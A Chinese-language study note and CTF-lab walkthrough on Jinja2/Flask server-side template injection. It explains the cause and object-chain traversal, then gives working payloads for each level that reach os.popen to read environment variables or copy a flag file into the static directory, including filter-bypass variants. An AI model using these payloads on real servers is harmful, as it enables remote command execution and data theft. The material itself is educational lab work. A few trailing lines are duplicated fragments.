SSTI遗漏的知识以及靶场wp
漏洞成因
Flask模板注入漏洞通常是因为开发人员直接将用户输入作为模板内容进行渲染,而不是使用模板变量。例如,使用render_template_string函数时,如果用户输入被直接嵌入模板字符串中,而没有经过适当的处理,攻击者就可以注入模板代码,从而执行任意代码。
为什么不能直接用__import__(‘os’).system(‘xxx’)?
Jinja2模板引擎为了安全考虑,Jinja2 主动“阉割”了危险入口,_import__ 不在模板可访问的命名空间里。但是,Jinja2模板语法提供了执行一些表达式的能力,可以“绕到它”。
(Jinja2 是一个文本模板引擎,它能把”模板”和”数据”结合起来,生成最终的文本(通常是HTML),就是相当于把我们python里面写的数据和网页模板结合在一起的引擎。
在Jinja2模板中,我们可以通过Python的对象的继承链来访问我们想要的函数和对象。例如,我们可以通过以下步骤:
与攻击相关的语法
- set
可以在模板中定义变量,比如:
1 | {% set user="dq" %} |
set 定义的变量相当于python中的 全局变量,在后面都可以使用。这一点当时没在意 只是一味地创建拼接后的敏感词…
- with
可以定义仅能在 with语句块 中使用的变量,一旦超过了这个块就不能使用,比如
1 | {% with user="dq" %} |
构造payload的原理
- 从一个已知的对象(比如
config)开始,它是一个对象。 - 访问该对象的类(
__class__)。 - 访问该类的基类(
__bases__)或通过__mro__(方法解析顺序)来访问其他类。 - 访问子类(
__subclasses__)来找到我们想要的类(比如object类)。 - 从这些子类中,我们可以找到一些有用的类,例如
os._wrap_close类,它包含了os模块的引用。
一个常见的payload是通过__class__、__bases__、__subclasses__等属性来遍历Python对象模型,最终找到可以执行命令的类或函数。
攻击思路:找到可以执行命令的对象链
对象 → 类 → 基类 → 子类 → 敏感模块 → 执行命令 然后其实最主要的就是能从函数 或者类方法之类的去拿到全局变量(函数之所以能访问模块级变量,是因为每个 Python 函数对象都保存了一个指向模块全局命名空间的引用,这个引用就是__globals__。)
之前没有看到比较深的概念
1 | x = 10 |
当调用 f() 时 去 f.__globals__['x'] 查找 从最基础的定义来说 函数和全局变量确实就是最相关的 对于一些简单的黑名单 可以直接用工具生成 主要理解原理和一些方法技巧
对于payload里面的构造 最基础的其实就是围绕下面的各种变形
下面是我在博客一个大神的笔记那里抄的,就是多种相同的表达的不同写法,用于限制后。
1 | 这是键值 |
敏感字符拼接
1 | 'm'+'o' |
获取数字
1 | {}|int # 0 |
还有一个比较方便的
1 | {% set nine=dict(aaaaaaaaa=a)|join|count %} |
包括用数字来获得符号也是 打靶场会遇到
常用绕过
1 | morouu|select|string> 无himpquvwz |
payload记不完的 记一些抓起来就能用的就行 毕竟遇上什么长度限制 终极黑名单就完全…
1 |
|
接下来开始打靶场
- 没有防火墙限制
- 不能用
{{}},也就是说不能使用变量了,可以将变量作为语句来执行,也就是{%%},和第一关一样,前面加上print输出就可以了。 - 卡住了,一直弹这个,看wp。”不出网” 指的是目标服务器无法主动访问外部网络。这个在之前的task6遇到过,静态文件 指的是内容在服务器上固定不变的文件。遇到不出网的可以直接写入静态文件来进行攻击,一般都是先检测一下能否正常写入在进行攻击。这是flask的静态目录
,这里进行测试,
,测试成功。
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /app/flag >/app/static/12345.txt').read()}},然后访问这个路径就可以了。 - 这里ban了
[ ],但是用上面大佬总结的相同表达方式,可以直接用get,或者是pop,或者是__getitem__都可以{{_wrap_close.__init__.__globals__.get('__builtins__').get('__import__')('os').popen('env').read()}} - ban了’和”,又没有思绪了,wp URL 参数在解析时就已经是字符串request.args.a ,返回的是字符串 ‘os’,不是变量名 os这个过程在模板渲染之前就完成了。
- ban了__,attr过滤器用于获取对象的属性。其基本用法是
{{ object|attr('attribute_name') }},这相当于object.attribute_name.,也可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)。
- 不能用点号,那就用上面获取属性的方式
{{ lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('env')['read']() }} - 过滤了关键词,拼接绕过,用~,或者说单纯用到在 Python 和 Jinja2 中,相邻的字符串字面量会自动拼接。
{{lipsum['__glob'~'als__']['__builtins__']['__imp'~'ort__']('os')['pop'~'en']('env').read()}} - 不能用数字,这个只有索引的时候会遇到数字,我们不用到subclasses就可以了
{{_wrap_close.__init__.__globals__['__builtins__']['__import__']('os').popen('env').read()}} - 这一关是查询到config,但是直接查询是none,没头绪,看wp。config可以在current_app得到,它是当前正在运行的 Flask 应用实例,记住就可以了
{{get_flashed_messages.__globals__['current_app'].config}} - 后面都是这种限制了很多。这里学到了创建字典并且连起来的方式,看payload
1 | {%set b=dict(o=a,s=a)|join%} |
在set创建一个字典后,把要拼接的作为键的一部分,然后用|join把键拼接起来。这里注意在global这个字典这里获取的是键值,所以用get或者是__getitem__。
12. bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']不能用这些,最难的就是下划线,首先看网上的教程,怎么做下划线,那这里也有数字,这里限制了数字,那么还要想怎么表达数字,这里学到用count,这里输了九个a,那么字符的长度就是9,用count来得到9。然后用相同的道理得到十八,最后得到下划线。
1 | {% set nine=dict(aaaaaaaaa=a)|join|count %}{% set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count %}{% set pop=dict(pop=a)|join%}{% set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set env=dict(en=a,v=a)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(env)|attr(read)()}} |
- 多了一个点,就用我上面的照样可以绕过

,这里进行测试,
,测试成功。
,也可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)。